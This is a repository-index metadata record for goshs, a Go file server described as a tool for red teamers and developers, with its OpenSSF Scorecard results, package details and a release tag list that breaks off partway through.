{"id":373146,"url":"https://github.com/goshs-labs/goshs","last_synced_at":"2026-08-27T00:01:31.114Z","repository":{"id":43262907,"uuid":"300549409","full_name":"goshs-labs/goshs","owner":"goshs-labs","description":"Feature-rich single-binary file server for red teamers and developers.  HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLM hash capture · DNS/SMTP callbacks ·  TLS · Auth · Share links. A powerful python3 -m http.server replacement.","archived":false,"fork":false,"pushed_at":"2026-08-24T07:46:26.000Z","size":10234,"stargazers_count":959,"open_issues_count":0,"forks_count":58,"subscribers_count":6,"default_branch":"main","last_synced_at":"2026-08-25T14:32:27.522Z","etag":null,"topics":["capture-the-flag","ctf","devtools","dns-server","file-server","file-transfer","golang","http-server","https-server","kali-linux","ldap","ntlm","offensive-security","penetration-testing","red-teaming","security-tools","sftp","smb","smtp-server","webdav"],"latest_commit_sha":null,"homepage":"https://goshs.de","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/goshs-labs.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2020-10-02T08:24:17.000Z","updated_at":"2026-08-24T20:17:17.000Z","dependencies_parsed_at":"2026-08-25T14:32:28.452Z","dependency_job_id":null,"html_url":"https://github.com/goshs-labs/goshs","commit_stats":null,"previous_names":["goshs-labs/goshs","patrickhener/goshs"],"tags_count":70,"template":false,"template_full_name":null,"purl":"pkg:github/goshs-labs/goshs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/sbom","scorecard":{"id":722292,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickhener/goshs","commit":"cea833bc147c8b21464d70f6e3ab59006c6b7156"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 8 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Security-Policy","score":3,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Warn: no linked content found","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Code-Review","score":0,"reason":"Found 1/27 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: topLevel 'contents' permission set to 'write': .github/workflows/release.yml:10","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/release.yml:15"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v1.1.0 not signed: https://api.github.com/repos/patrickhener/goshs/releases/222652736","Warn: release artifact v1.0.9 not signed: https://api.github.com/repos/patrickhener/goshs/releases/221475573","Warn: release artifact v1.0.8 not signed: https://api.github.com/repos/patrickhener/goshs/releases/219743790","Warn: release artifact v1.0.7 not signed: https://api.github.com/repos/patrickhener/goshs/releases/219524964","Warn: release artifact v1.0.6 not signed: https://api.github.com/repos/patrickhener/goshs/releases/217929560","Warn: release artifact v1.1.0 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/222652736","Warn: release artifact v1.0.9 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/221475573","Warn: release artifact v1.0.8 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/219743790","Warn: release artifact v1.0.7 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/219524964","Warn: release artifact v1.0.6 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/217929560"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:2","Warn: containerImage not pinned by hash: Dockerfile:20: pin your Docker image by updating alpine:latest to alpine:latest@sha256:4bcff63911fcb4448bd4fdacec207030997caf25e9bea4045fa6c8c44de311d1","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (6) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:43:39.563Z","repository_id":43262907,"created_at":"2025-08-22T11:43:39.563Z","updated_at":"2025-08-22T11:43:39.563Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36908229,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-25T02:00:06.831Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"goshs-labs","name":"goshs-labs","uuid":"288591202","kind":"organization","description":"","email":null,"website":"https://goshs.de","location":"Germany","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/288591202?v=4","repositories_count":1,"last_synced_at":"2026-05-28T11:23:27.823Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/goshs-labs","funding_links":[],"total_stars":877,"followers":0,"following":0,"created_at":"2026-05-28T11:23:27.844Z","updated_at":"2026-05-28T11:23:27.844Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs/repositories"},"packages":[{"id":14560497,"name":"github.com/goshs-labs/goshs","ecosystem":"go","description":null,"homepage":null,"licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/goshs-labs/goshs","keywords_array":[],"namespace":null,"versions_count":46,"first_release_published_at":"2020-10-02T08:28:00.000Z","latest_release_published_at":"2026-03-13T14:11:55.000Z","latest_release_number":"v1.1.4","last_synced_at":"2026-08-25T23:45:45.935Z","created_at":"2026-05-28T19:30:06.310Z","updated_at":"2026-08-26T13:56:36.500Z","registry_url":"https://pkg.go.dev/github.com/goshs-labs/goshs","install_command":"go get github.com/goshs-labs/goshs","documentation_url":"https://pkg.go.dev/github.com/goshs-labs/goshs#section-documentation","metadata":{},"repo_metadata":{"id":43262907,"uuid":"300549409","full_name":"goshs-labs/goshs","owner":"goshs-labs","description":"Feature-rich single-binary file server for red teamers and developers.  HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLM hash capture · DNS/SMTP callbacks ·  TLS · Auth · Share links. A powerful python3 -m http.server replacement.","archived":false,"fork":false,"pushed_at":"2026-08-24T07:46:26.000Z","size":10234,"stargazers_count":959,"open_issues_count":0,"forks_count":58,"subscribers_count":6,"default_branch":"main","last_synced_at":"2026-08-25T14:32:27.522Z","etag":null,"topics":["capture-the-flag","ctf","devtools","dns-server","file-server","file-transfer","golang","http-server","https-server","kali-linux","ldap","ntlm","offensive-security","penetration-testing","red-teaming","security-tools","sftp","smb","smtp-server","webdav"],"latest_commit_sha":null,"homepage":"https://goshs.de","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/goshs-labs.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2020-10-02T08:24:17.000Z","updated_at":"2026-08-24T20:17:17.000Z","dependencies_parsed_at":"2026-08-25T14:32:28.452Z","dependency_job_id":null,"html_url":"https://github.com/goshs-labs/goshs","commit_stats":null,"previous_names":["goshs-labs/goshs","patrickhener/goshs"],"tags_count":70,"template":false,"template_full_name":null,"purl":"pkg:github/goshs-labs/goshs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/sbom","scorecard":{"id":722292,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickhener/goshs","commit":"cea833bc147c8b21464d70f6e3ab59006c6b7156"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 8 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Security-Policy","score":3,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Warn: no linked content found","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Code-Review","score":0,"reason":"Found 1/27 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: topLevel 'contents' permission set to 'write': .github/workflows/release.yml:10","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/release.yml:15"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v1.1.0 not signed: https://api.github.com/repos/patrickhener/goshs/releases/222652736","Warn: release artifact v1.0.9 not signed: https://api.github.com/repos/patrickhener/goshs/releases/221475573","Warn: release artifact v1.0.8 not signed: https://api.github.com/repos/patrickhener/goshs/releases/219743790","Warn: release artifact v1.0.7 not signed: https://api.github.com/repos/patrickhener/goshs/releases/219524964","Warn: release artifact v1.0.6 not signed: https://api.github.com/repos/patrickhener/goshs/releases/217929560","Warn: release artifact v1.1.0 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/222652736","Warn: release artifact v1.0.9 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/221475573","Warn: release artifact v1.0.8 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/219743790","Warn: release artifact v1.0.7 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/219524964","Warn: release artifact v1.0.6 does not have provenance: https://api.github.com/repos/patrickhener/goshs/releases/217929560"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:41: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/codeql-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/release.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/release.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickhener/goshs/release.yml/main?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:2","Warn: containerImage not pinned by hash: Dockerfile:20: pin your Docker image by updating alpine:latest to alpine:latest@sha256:4bcff63911fcb4448bd4fdacec207030997caf25e9bea4045fa6c8c44de311d1","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (6) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:43:39.563Z","repository_id":43262907,"created_at":"2025-08-22T11:43:39.563Z","updated_at":"2025-08-22T11:43:39.563Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36908229,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-25T02:00:06.831Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"goshs-labs","name":"goshs-labs","uuid":"288591202","kind":"organization","description":"","email":null,"website":"https://goshs.de","location":"Germany","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/288591202?v=4","repositories_count":1,"last_synced_at":"2026-05-28T11:23:27.823Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/goshs-labs","funding_links":[],"total_stars":877,"followers":0,"following":0,"created_at":"2026-05-28T11:23:27.844Z","updated_at":"2026-05-28T11:23:27.844Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/goshs-labs/repositories"},"tags":[{"name":"v2.1.6","sha":"474454e2d7355c4ad8d66bfb94b1eb19a15be22a","kind":"tag","published_at":"2026-08-24T07:46:49.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.6","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.6/manifests"},{"name":"v2.1.5","sha":"3a24c85a82c494b947a83989b5f28fbda260a961","kind":"commit","published_at":"2026-08-02T08:36:56.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.5","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.5/manifests"},{"name":"v2.1.4","sha":"d4e775d5a84d662d426bc19a95d9b990a97d60e4","kind":"tag","published_at":"2026-07-03T07:19:58.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.4","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.4/manifests"},{"name":"v2.1.3","sha":"ead99b9b5081d473c61743cfed5e8290702317d2","kind":"tag","published_at":"2026-06-25T13:38:51.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.3","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.3/manifests"},{"name":"v2.1.2","sha":"5ec4d7735bbee27b929052c1581ef7060e61e0a8","kind":"tag","published_at":"2026-06-23T13:57:40.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.2","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.2/manifests"},{"name":"v2.1.1","sha":"7632143f65eb08401ebfb7bab76eb1a258b6d733","kind":"tag","published_at":"2026-06-17T18:39:08.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.1","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"91b71d37310b81dd88a5fddc9e08a6bab5b66466","kind":"commit","published_at":"2026-05-29T10:20:25.000Z","download_url":"https://codeload.github.com/goshs-labs/goshs/tar.gz/v2.1.0","html_url":"https://github.com/goshs-labs/goshs/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/goshs-labs/goshs@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/goshs-labs%2Fgoshs/tags/v2.1.0/manifests"},{"name":"v2.0.9","sha":"8fc1e917bf049a5fd6ab57da47393dfe205b5fe8","